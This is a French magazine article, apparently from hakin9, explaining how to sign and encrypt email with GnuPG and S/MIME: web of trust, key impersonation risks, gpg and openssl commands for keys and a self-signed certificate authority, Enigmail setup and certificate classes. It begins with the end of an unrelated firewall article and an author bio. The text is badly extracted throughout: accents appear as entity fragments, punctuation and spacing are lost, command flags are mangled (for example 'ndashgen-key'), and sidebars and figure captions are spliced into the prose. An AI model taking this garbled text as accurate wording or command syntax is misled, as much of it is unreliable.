autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

bull OCSP pour Online Certifi cate Statut Protocol est un pro-tocole standardiseacute par lIETF et permet de veacuterifi er la va-liditeacute dun certifi cat en ligne Il permet de compenser le manque de reacuteactiviteacute des listes de reacutevocations(CRL) Un serveur OCSP(aussi appeleacute reacutepondeur) eacutecoute sur le port 80 ce qui permet de fonctionner dans la plupart du tem-ps avec le proxy des entreprises Ainsi nul besoin de com-plexifi er les regravegles de fi ltrage

bull PGPMIME est une eacutevolution du PGP inline ougrave signature et message chiff reacute se trouvent dans le corps du mail PGPMIME permet une meilleure compatibiliteacute de PGP avec le standard MIME notamment avec les types MIMES(mime-types) et le codage Il est donc preacutefeacuterable lorsque cela est possible dutiliser PGPMIME

6201038

Seacutecuriteacute reacuteSeaux

tionnaire de cleacutes Si cest le cas alors des boutons pour chiffrer et signer apparaissent lors de la reacutedac-tion dun message Pour la gestion des webmail et en particulier Gmail il existe un plugin pour Firefox ap-peleacute Gmail SMIME qui fonctionne assez mal pour la signature et qui est incapable de veacuterifier la signature dun mail signeacute

Pour ce qui est de lOCSP il ne faut surtout pas oublier de lactiver si cela est possible Par exemple pour Thunderbird 3 il est activeacute par deacutefaut ce qui nest pas le cas pour le Thunderbird 2 Pour les amateurs de Outlook 2007 il faudra teacuteleacutecharger un plugin pour geacuterer lOCSP

certificat et identiteacute numeacuteriqueTous les certificats sont baseacutes sur la norme de cer-tificat X509 creacutee par lUnion Internationale des Teacuteleacutecommunication(UIT) Les certificats sont principa-lement utiliseacutes pour la seacutecurisation des eacutechanges sur les sites web avec SSLTLS on appelle ccedila des certifi-cats serveurs Les certificats utiliseacutes pour SMIME sont appeleacutes certificats personnels Mais il en existe des diffeacuterents pour drsquoautres utilisations (voir ci-dessous)

Diff eacuterents certifi catsPour une autoriteacute de certification racine donneacutee il peut exister un certains nombres dautoriteacutes intermeacutediaires Ainsi pour un CA racine donneacute on a un CA intermeacutediai-re pour les certificats serveurs un pour les certificats EV (voir Figure 5) un pour la signature de pdf etc

Certains CA proposent cependant des offres pour ecirctre autoriteacute intermeacutediaire mais le prix de ce genre dof-fre deacutepasse largement le budget de la plupart des en-treprises

Ce que lon appelle chaicircne est la succession des si-gnataires dun certificat racine jusquagrave un certificat uti-lisateur final(end-user) qui lui ne peut pas deacutelivrer de certificat

Voici diffeacuterents types de certificats

bull Personnel Pour la signature de mails ou de docu-ments PDF par exemple

bull Serveur Pour permettre les connexions en SSLTLS HTTPS et autres Il existe des sous clas-se de certificats serveurs

bull Wildcard(joker) permet dobtenir un certificat pour les sous-domaines par exemple pour foofr on peut donc avoir un certificat pour smtpfoofr et pour imapfoofr

bull SAN(Subject Alternative Name) ce type de certifi-cat permet dobtenir un certificat pour deux domai-nes diffeacuterents par exemple foofr et fooeu

bull EV(extented validation) reacutepond agrave une normalisation baseacutee sur une veacuterification plus stricte de lidentiteacute du demandeur

bull Note Il est possible drsquoavoir un certificat reacutepondant agrave plusieurs critegraveres et donc davoir par exemple un certificat SAN Wildcard et EV

bull Deacuteveloppeur (Code Signing) Ce type de certificat permet de signer un logiciel Cest pour cette raison que lorsquun logiciel nest pas signeacute avec ce type de certificat sous Windows un message nous indi-que que le logiciel na pas eacuteteacute signeacute et quil est dori-gine inconnue

les classes de certifi cats personnelsIl existe une classification dans le niveau de confian-ce dun certificat personnel Celle-ci est diviseacutee en plu-sieurs classes que voici

bull Classe 1 Seule ladresse mail du demandeur est veacuterifieacutee Cest plus un identifiant digital (Digital ID) quun systegraveme dauthentification du proprieacutetaire Les certificats de classe 1 sont dailleurs pour la plupart signeacutes de maniegravere automatique ce qui expli-que la rapiditeacute dobtention

bull Classe 2 Veacuterification mail et piegraveces didentiteacute Sa-chant quil existe aussi des sous-cateacutegories person-nel (veacuterification papiers didentiteacute) ou entreprise (veacuteri-fication papiers didentiteacute et appartenance agrave lentrepri-se)

bull Classe 3 Comme la classe 2 mais avec veacuterification de lidentiteacute en face agrave face

bull Classe 3+ Comme la classe 3 mais avec remise du certificat sur support physique

bull Attention ce classement ne correspond agrave aucune norme il peut tout agrave fait varier dune autoriteacute de cer-tification agrave lautre qui pourra par exemple deman-der des piegraveces didentiteacutes mecircme pour un certificat de classe 1 Ces classes permettent juste de mieux distinguer le niveau dauthenticiteacute dun certificat

la valeur juridiquePour ce qui concerne laspect juridique le caractegravere deacute-centraliseacute de PGP rend la valeur des cleacutes nulles En

Sur internet

bull httppgpmitedu ndash Adresse du serveur de cleacute PGP du MIT

bull httpwwwpgpiorg ndash Site international de PGPbull httpwwwgnupgorg ndash Site du GnuPG bull httpwwwdjigzocomindexhtml ndash Site web de la pas-

serelle de chiff rement Djigzobull httpwwwchambersignfrindexjsp ndash Site web dun CA

